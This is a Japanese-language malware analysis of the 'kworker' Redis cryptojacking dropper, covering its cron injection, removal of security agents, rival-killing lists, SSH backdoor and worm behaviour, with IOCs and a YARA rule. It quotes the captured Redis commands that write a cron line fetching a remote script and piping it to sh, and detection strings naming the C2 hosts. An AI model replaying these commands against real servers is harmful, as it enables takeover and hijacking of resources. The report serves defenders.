malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm

Kworker:自前のアンインストーラーを持参するマイナー

Kinryū Labs は、8220 系統のマイナーが、開放され、パスワードもない Redis ポートを、わずか五秒ほどで root シェルに変える様子を捕捉した。この投下器は kworker という名の 636 行の shell スクリプトで、アリババとテンセントのクラウドセキュリティ agent をベンダー自身のツールでアンインストールし、200 行を費やして競合マイナーを駆除し、SSH にバックドアを仕込み、XMRig モネロ・マイナーを偽の ps・top・pstree の背後に隠し、さらにワームとして広がろうとする。

著者 Davis Zheng·

TLP:CLEAR。一般公開を承認済み。2026 年 6 月 10 日に Kinryū Labs ハニーポット・センサーネットワークで捕捉。静的・受動的分析のみ:投下器は一度も実行せず、攻撃者インフラには一切接触していない。以下の指標は無害化(defang)済み。YARA ルールは検知のため、設計上、実際の文字列を保持している。第二段階のマイナー本体とモネロ・ウォレットは入手できなかった。

エグゼクティブサマリー

  • ~5秒開放 Redis ポートから四つの root cron バックドアまで
  • 636行の bash、完全なホスト乗っ取りキット
  • 2内部に base64 で抱えたベンダー製アンインストーラー
  • 80+キルリスト上の競合マイナー

UTC の午前 0 時 6 分、何者かが我々のハニーポットの一つの Redis ポートに接続し、相手が何かを確かめる INFO を一つだけ送って切断した。二秒後に戻ってきて、仕事に取りかかった。切断するまで、合わせてわずか五秒。その間に、サーバーの cron テーブルを四通りに書き換え、そのいずれもが同じファイル——kworker という shell スクリプト——を指していた。

我々はそれを一度も実行させていない。ハニーポットはペイロードを取得し、ハッシュを計算して保管する。マシン自体はクリーンなままだ。こうして手元に残ったのは、スクリプトの全文 636 行と、侵入の完全な記録である。両者を併せて読むと、2026 年における商品化された Linux マイナーがどこまで来たかの、きれいな断面になる。kworker は良い標本だ。この分野がこれまでに発明したほぼすべてをやってのけるからである。そして一つ、まったく真顔でやることがある——アンチウイルスを、そのベンダー自身のアンインストーラーを使ってアンインストールするのだ。

主要な判断

  • 8220 Gang / kworkerds 系統の商品化されたマイナーであり、機会主義的で非標的型(中程度の確度)。 Redis による投下、改名されたダウンロードツール、/etc/javae のロックファイル、そして巨大なキルリストは、いずれもこの一族の特徴だ。中程度にとどめ、それ以上にしないのは、これが広くフォークされ、各集団の間で受け渡され再販されるコードだからである。名前は単一の作者ではなく、系統を指している。
  • 目的はモネロのマイニング(高い確度)。 スクリプトの全目的は、巨大ページ(huge pages)を有効にしたうえで XMRig ビルドである javae を取得して起動することにある。それ以外のすべては、場を片付けてホストを保持するために存在する。
  • 成熟し、よく使い込まれたソフトウェアであり、誰かの週末プロジェクトではない(高い確度)。 侵入自身の cron 行が cd1wd1 を呼び出しているが、これらは kworker のインストール後にしか存在しないツールだ。このキットは既に自分自身を前提にしている。これは長く出回ってきたコードの証である。
  • 欠けているウォレットは意図的(高い確度)。 スクリプトにはモネロのアドレスもプールもない。どちらもマイナー本体に存在し、それを我々は入手できなかった。この集団のキャンペーン群を結びつけうる唯一の手掛かりこそ、彼らがスクリプトから外しておくものである。RedTail でぶつかったのと同じ壁だ。

FLUSHALL、そして cron への四つの侵入経路

パスワードなしでインターネットに開かれた Redis は、何年も前から一行で取れる root シェルだった。ここで使われているのも、その昔ながらの定番手法である。値が cron ジョブであるようなデータベースのキーを設定する。Redis にデータベースを cron フォルダへ保存させる。SAVE を呼ぶ。Redis は自分のデータベースを——偽の cron ジョブもろとも——ディスクに書き込み、一分後に cron がそれを root として実行する。我々の訪問者はサーバーの指紋を採り、ファイルを書けることを確かめ、保存失敗時に止める安全装置を切り、この芸当を実行した。

# 訪問者が Redis に送った内容(抜粋、指標は無害化済み)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

侵入全体は、ほんの数秒に収まる。

  • 00:06:00 UTC接続し、サーバーの指紋を採る INFO を一つ送って切断。
  • +2 秒再接続。それぞれ cron 行を保持する四つのキーを設定。CONFIG SET dir を cron フォルダに、CONFIG SET dbfilename を対象の cron ファイルに設定し、stop-writes-on-bgsave-error を無効化、そして SAVE
  • 合計 +5 秒切断。ハニーポットは完全なペイロードと完全な記録を取得済み。マシンはクリーンなまま。
  • +1 分実際のホストでは、cron が植え込まれた行を root として実行し、kworker を取得する。

立ち止まって見る価値があるのは、その冗長さだ。cron ジョブを一つ書いたのではない。同じ命令を四箇所——/var/spool/cron/root/var/spool/cron/crontabs/etc/cron.d/javae/etc/crontab——に書き込み、Red Hat と Debian の両レイアウト、両方の cron 構文をカバーしている。各行は異なるツール——cd1wgetcurlwd1——で、二・三・四・五分とずらしたスケジュールで kworker を取得する。そのうち二つは本物のプログラムではない。cd1wd1 は、kworker がインストール後に curlwget を改名した先の名前だ。侵入は、これからダウンロードするスクリプトを既に前提にしている。キット全体が内部で整合しており、それこそが、これが成熟しよく使い込まれたソフトウェアであって誰かの週末プロジェクトではないと分かる根拠である。

アンインストーラーは自前で持参

root を得た瞬間、kworker は建物の解体を始める。ファイアウォールを一掃、ufw をオフ、SELinux を permissive に落としたうえで設定で無効化、AppArmor を停止、カーネルの NMI watchdog をオフにする——これが重要なのは、マイナーが CPU を何週間も 100 パーセントに張り付けるなか、watchdog はそれに気づきうる数少ないものの一つだからだ。/var/log/syslog は丸ごと削除される。

次にクラウドセキュリティ agent を探しに行く。ここでスクリプトは平凡でなくなる。中国の大手クラウドは VM にホスト agent を載せている。アリババの Aegis(AliYunDun として動いているのが見える)、テンセントの YunJing、ファーウェイの HostGuard。kworker はそれぞれを確認する。アリババのものを見つけると、ただプロセスを kill するのではない。アリババ公式のアンインストーラーを実行する。そして、アリババへ戻る経路のないマシンでもそれが効くように、アリババのアンインストールスクリプトを二つ、base64 で自分の中に抱えている。我々は両方をデコードした。kprobe トレースの解体まで含め、正真正銘の本物だった。

それはあなたのエンドポイント防御を、ベンダーが意図したとおりにきれいに取り除き、ログも整然と片付ける。

これは即興ではない。誰かが本物の Aliyun マシンの前に座り、アンインストーラーを取り出して組み込んだのだ。

bash で書かれた縄張り争い

この種のスクリプトを読んだことがなければ、驚かされるのは、その多くが他の犯罪者に向けられていることだ。マイナーの本当の敵は、同じ CPU を借りようとする次のマイナーであって、システム管理者ではない。kworker はおよそ二百行を競合の狩りに費やし、捕まえられるあらゆる手掛かりで kill する。

  • プロセス名で、百を超えるブロックリストから:xmrigkinsingkdevtmpfsiwatchdogswatchbog の一族、ddgsustes、そして自分の名前の元となった、より古い kworkerds
  • ポートで、マイニングプールや IRC ボットが居座るもの。
  • ハードコードされた IP アドレスで。
  • CPU で、という鈍器: 認識できない名前で 40 パーセントを超えてプロセッサを焼く任意のプロセスは kill される。CPU を食う未知のプロセスは、定義上、競合マイナーだ、という論理である。

それらのファイルを /tmp/dev/shm から削除し、cron ジョブを剥ぎ取り、一部が仕込む preload rootkit を除去し、Docker に手を伸ばして既知のマイニングイメージを kill して削除する。これは RedTail の clean スクリプトRootpacket の killservice.sh で記録したのと同じ地取り合戦だ。これらの集団はいずれも同じ設定ミスのマシンを奪い合っており、いずれも場を一掃することから始める。

また、とりわけ、そして繰り返し、TeamTNT に手厳しい。TeamTNT が行う curlwget の改名を元に戻し、そのディレクトリを消し去る。Kinsing を kill する箇所では、ファイルの内容を fuckyou という語で上書きしてロックし、Kinsing が自分を元に戻せないようにする。ここに仁義はなく、あるのは地取りだけ。そして kworker はそれを大半より激しくやる。

リストを仔細に読むと、競合がどう身を隠すかのカタログになる。一群の標的はカーネルスレッドを装う——kacpi_svckswap_svckthreadd_svcksoftirqd_svc。別の一群はシステムデーモンを装う——polkitdacpiddbus-daemon--system、そして L であるべきところを大文字 I にした systemctI。kworker は、まさに自分の対手が着る変装を狩っているのだが、それは数行後に自分が javaesystemd-networkirqbalanced のような名前に紛れ込ませるときに手に取るのと同じ変装だ。この争いでは誰もが退屈なシステムノイズの装いをしており、誰もが他人の衣装を暗記している。

いくつかの標的はそもそも名前ですらない。一つは L2Jpbi9iYXN、ある /bin/bash コマンド先頭の base64 だ。kworker はプロセステーブルをこのエンコード接頭辞で grep し、コマンドラインに居座る base64 のかたまりで競合のローダーを捕らえる。

リスト全体は長い。殺したいプロセスに名前を付ける百を超えるやり方があり、この確執の手触りを味わうためだけでも、一度ざっと目を通す価値がある。

捕獲したスクリプトから抽出した完全なキルリスト

kill_miner_prockill_sus_proc、そして Docker 掃討から取り出したもの。ここに挙がるすべては kworker が狩る標的であって、自身のインフラではない。IP は無害化済み。

任意のプロセスを kill するポート(マイニングプール、IRC ボット、RAT、代替 SSH と Telnet):2314322223333334733895555666566666667777784441000813531

識別可能なマイナー・ボットネット一族: xmrigxmrig-cpuxmrig-notlsxmr-stakmstxmrcnrigminerdminergatecryptonightcrypto-poolmonerooceankinsingkdevtmpfsikworkerdskworker34watchdogswatchd0gwatchbogddgddg.2011sustessustsesustse3kthrotldsksoftirqdstntrecht(TeamTNT)、nanoWatchsourplumdisk_geniusbiosetjenkinsnullcrew

カーネルスレッドを装う競合: kacpi_svckswap_svckauditd_svckpsmoused_svckseriod_svckthreadd_svcksoftirqd_svckintegrityd_svckblockd_svcnative_svc

システムデーモンを装う競合: polkitdacpiddbus-daemon--systemirqbalanceirqbalanc1crond64nginxkvmlinuzsystemctI(大文字 i、systemctl ではない)、systemtensystemxlvsvcupdatenetdnsnetnsredis2rsynchttpgdhavegedvoltunednqscheduler

その他の具名ペイロード、スクリプト、キャンペーン別マーカー: apacehaapachiiimixnerdxmixtapeperformedlconnsmgwslpythnojwerilx26i586gddraskdljlqwysaydhbonnsdonnskxjdnopxideamonzigwdevtooldevtoolssuppoieexinxrjawaynnservimdarwinsysstatsLoopbackXJnRjNXLAiBI5zjicb5ownTKYg2t3ikqW3xT.2hahwNEdBCnzFVPLFCvKzzZLsOIcJi1mIOFoqIgyC0zmf2UR65ccEJ7jmxx2Ne80nAC4iLM4LGuard.shDuck.shbonn.shconn.shkw.shpro.shmr.sh2mr.shcr5.shhe.shminer.shl.shz3.shlower.shndt.shlogo9.jpgoracle.jpginit10.cfginit12.cfgj2.confzer0day.rugitee.com

難読化されたランチャーと投下された設定: ./ppp./vsp./jvs./pvv./vpp./pces./rspce./jiba./haveged./watchbog./servceaess とその綴り違いの双子、mwyumwdbpq.confhonvbsasbf.confmqdsflm.cf/wl.confwc.confz、加えて base64 のクレードルマーカー L2Jpbi9iYXN/bin/bas... 一行の先頭)。

見つけ次第撃つ、競合のプール・C2 の IP: 45.76.122[.]9251.38.191[.]17851.15.56[.]161104.248.4[.]16289.35.39[.]78107.174.47[.]156107.174.47[.]18183.220.169[.]24751.38.203[.]146144.217.45[.]45176.31.6[.]1646.243.253[.]15200.68.17[.]196188.209.49[.]54181.214.87[.]241121.42.151[.]137

kill して削除する Docker イメージ・コンテナ: pocosowgakeawsazuluautoxmrmineslowhttpbash.shell という名のコンテナ。pocosowgakeawsbuster-slimhello-azuluregistryxmrmoneromineslowhttp というイメージ参照。

そして鈍器: javae に一致せず CPU 40 パーセント超の任意のプロセスは kill。角括弧付きカーネルスレッドのような名前で 10 パーセント超のものも、/tmp から動くものも、そして不審に長い名前のプロセスも、同様だ。

そして見えなくなる

場を片付けたあと、自分の選手を隠す。pstoppstree を、本物のバイナリを呼び出しつつマイナー(javae)や同梱のスキャナー(pnscan)に触れる行をひそかに除去する二行のラッパーに置き換え、さらに偽物のタイムスタンプを 2016 年に戻して新しく見えないようにする。感染したマシンで ps を実行しても、マイナーは単にリストに現れない。

マイナーはそもそもプロセステーブルに溶け込むよう命名されている。javae が、systemd-networkirqbalancedkswaped のような名前で植え込まれたロックファイルの傍らに並ぶ。どれも退屈なシステムノイズと読めるよう選ばれている。

鍵、そして隣家への道

乗っ取りを仕上げる動きがあと二つ。

操作者の SSH 公開鍵(コメントはただ uc1)を root の authorized_keys に書き込み、そのファイルを変更不可(immutable)にする。だから気づくだけでは足りない。削除すらする前に、まず immutable ビットを外さねばならない。これは、マイナーが片付けられても生き延びる、手作業によるアクセスだ。

それから広がろうとする。root の known_hosts——このマシンがログインした全マシンの一覧——を読み、ディスクに既にある鍵を使って各マシンへ SSH を試み、入れたものでは一行を実行してバックアップアドレスから kworker を取得し、物語をまた最初から始める。速いワームではなく、放置されたパスワードなしの鍵に依存しているが、それらがたいてい放置されている類の機群では、それで十分だ。

マイナー、そして手に入らなかったウォレット

これだけの機構があっても、実際に稼ぐものは地味だ。二つ目のファイル javae、モネロを掘る XMRig ビルドである。kworker は巨大ページを有効にし(vm.nr_hugepages を 128 に設定。XMRig の標準的な高速化)、javae/etc に投下して実行する。

ここがこの報告の空白だ。我々は javae を持っておらず、ウォレットも持っていない。スクリプトにはモネロのアドレスもプールもない。それらは実行時に取得されるマイナー本体に焼き込まれており、C2 はこの検体を見た公開サンドボックスのいずれにもそれを提供しなかったため、受動的に分解できるものは何もない。kworker を単体で分析する者は皆、同じ壁にぶつかる。ウォレットはこの集団のキャンペーン群を結びつけうる唯一のものであり、それこそ彼らがスクリプトから外しておくものだ。

意図的に Cloudflare 上でホスティング

スクリプトもマイナーも download.logltech[.]workers[.]dev、すなわち Cloudflare Workers のアドレスから来る。これは意図的な選択だ。Workers は無料で、既定で HTTPS、Cloudflare の信用を借りるためドメインブロックリストをすり抜け、操作者が実際に制御するオリジンを隠す。我々のハニーポットは本物のサーバーを一度も見ていない。終始 Cloudflare しか見ていない。

ワームが使うバックアップ経路は tutorial.clashverge[.]space、二月下旬に登録されたものだ。スクリプトにハードコードされた他のすべての IP アドレスは、kill したい競合のものであり、Vultr、OVH、DigitalOcean のマシンと杭州のアリババクラウドのホスト一台に散らばっていて、この操作者のものではまったくない。ハードコードされた IP は、インフラではなく標的リストとして読むこと。

これは誰のものか?

慎重に、いこう。これは通常 8220 Gang、すなわち kworkerds に分類される系統からの商品化されたマイナーだ。手掛かりはすべて揃っている。Redis の cron インジェクションによる投下、curl から cd1 への改名、/etc/javae のロックファイル、pnscan の拡散器、そして巨大なキルリスト。各アンチウイルスエンジンは名前で一致できず、それ自体が要点だ。ClamAV は Rocke と呼び、Rising は TeamTNT と付け、残りはただ CoinMiner と言う。これらのスクリプトは六つほどの集団の間で複製・統合・再販されており、kworker は自分が縁続きの一族のいくつかを kill する。

経験則

この一族は指紋ではなく、界隈として扱うこと。

中国クラウド agent への注力、そして VirusTotal が同じ検体に結びつける Windows PowerShell の兄弟版が、絵を補完する。だが安全な言い方は控えめなほうだ。広くフォークされ、金銭目的で、標的型ではなく、新しくもない。中程度の確度で、そこに落ち着いている。

侵害指標

ネットワーク

指標説明
download.logltech[.]workers[.]devC2(主)、Cloudflare Workers。/up/down/api/{kworker, javae, cb.txt} を提供
tutorial.clashverge[.]spaceC2(バックアップ)、ワームが使用。2026 年 2 月 27 日登録
170.9.225[.]197Redis ハニーポットに着弾した送信元 IP
*.workers.dev ホスト + /up/down/api/ 下の GET通信面で精査に値するペイロード取得パターン

ファイル(SHA-256 / MD5)

ファイルSHA-256MD5
kworker(投下器)7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30501ec2da3039ebe4ca379f663232176a
javae(XMRig マイナー)未入手、想定 5,685,096 バイト

SSH バックドア鍵: コメント uc1、公開鍵指紋 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY。機群全体の authorized_keys で探索すること。

ホスト上の痕跡

パス説明
/etc/kworker/etc/javae/etc/cron.d/javae/tmp/{kworker,javae}投下されたファイル
/usr/bin/cd1(元は curl)、/usr/bin/wd1(元は wget改名されたダウンロードツール
/bin/ps.original/bin/top.original/bin/pstree.originalトロイ化ラッパーの背後に保存された本物のバイナリ
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}変更不可、単数字名のロックファイル
vm.nr_hugepages = 128XMRig 用に有効化された巨大ページ

挙動

  • 実体が grep -v を通す shell スクリプトである pstoppstree
  • あなたが書いていない、コメント uc1 で終わる authorized_keys
  • sh /etc/kworker または sh /tmp/kworker を実行する cron ジョブ、そして存在すべきでない /etc/cron.d/javae
  • /usr/bin/kswaped とその仲間にある、変更不可の単数字名ファイル。
  • cd1wd1 に改名された curlwget
  • ひそかに 128 に設定された vm.nr_hugepages

検知

ホスト側の手掛かりは、いったん知れば騒がしいほど目立つ。上に列挙したとおりだ。通信面では、*.workers.dev ホストを解決し /up/down/api/ 下のパスを要求する挙動は精査に値する。以下は安定した文字列で発火する YARA ルールだ。検知のため、設計上、実際の文字列を保持している。

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

これが変えるべきこと

これのどれも高度ではなく、それこそが教訓だ。kworker が入れたのは、Redis ポートがパスワードなしで開いていたからである——2018 年の誤りが、2026 年になっても配当を払い続けている。そのあとのすべて——EDR の除去、rootkit、ワーム——が意味を持ったのは、正面のドアが施錠されていなかったからにすぎない。

  • Redis(やあらゆるデータストア)をインターネットに晒さず、認証を必須にすること。 一つの開いたサービスを、単一サービスではなく、ホスト全体の侵害として扱うこと。
  • cron と authorized_keys を本番コードのように見張ること。 攻撃者にとって、それらはまさに本番コードなのだから。
  • マシン上のクラウド agent を安全網とみなさないこと。 kworker の最初の本能は、ベンダー自身のツールで、礼儀正しく、それを歩み寄ってアンインストールすることだった。

MITRE ATT&CK マッピング

戦術技術
初期アクセスT1190 Exploit Public-Facing Application(Redis)
実行T1059.004 Unix Shell
永続化T1053.003 Cron;T1098.004 SSH Authorized Keys
防御回避T1562.001 Impair Defenses: Disable or Modify Tools(クラウド agent と EDR のアンインストール);T1562.004 Disable or Modify System Firewall;T1070.002 Clear Linux or Mac System Logs;T1014 Rootkit(トロイ化した ps/top/pstree);T1036.005 Masquerading: Match Legitimate Name;T1222.002 Linux File and Directory Permissions Modification(chattr +i);T1070.006 Timestomp(タイムスタンプを戻した偽物)
探索T1057 Process Discovery(競合の狩り);T1518.001 Security Software Discovery(クラウド agent);T1046 Network Service Scanning(pnscan
横展開T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer
コマンド&コントロールT1071.001 Web Protocols;T1102 Web Service(Cloudflare Workers);T1105 Ingress Tool Transfer
影響T1496 Resource Hijacking(モネロ・マイニング)

手法とアナリストノート

  • 分析は静的・受動的。投下器は一度も実行せず、攻撃者インフラには一切接触していない。結論は、捕獲した 636 行のスクリプトを全文読み、内蔵された base64 のアンインストーラーをデコードし、記録された Redis セッションを精査することから得た。
  • 上記の指標は無害化済み。YARA ルールは検知のため、設計上、実際の文字列を含む。
  • 第二段階のマイナー(javae)もモネロのウォレットも我々は持っていない。スクリプトはどちらも保持していない。両者は実行時に取得されるマイナー本体に存在し、C2 はそれを公開サンドボックスに提供しなかった。ウォレットの回収には、ネットワーク捕捉を伴う実行時の起爆が必要であり、我々はそれを行っていない。
  • 検体(投下器とデコードしたアンインストーラー)は、他の研究者や防御側の求めに応じて提供可能。[email protected] まで、あなたが誰で何のために必要かを添えてメールを。
How to cite
Kinryū Labs (2026). Kworker:自前のアンインストーラーを持参するマイナー. https://kinryu.sh/ja/reports/kworker-redis-cryptojacking-dropper/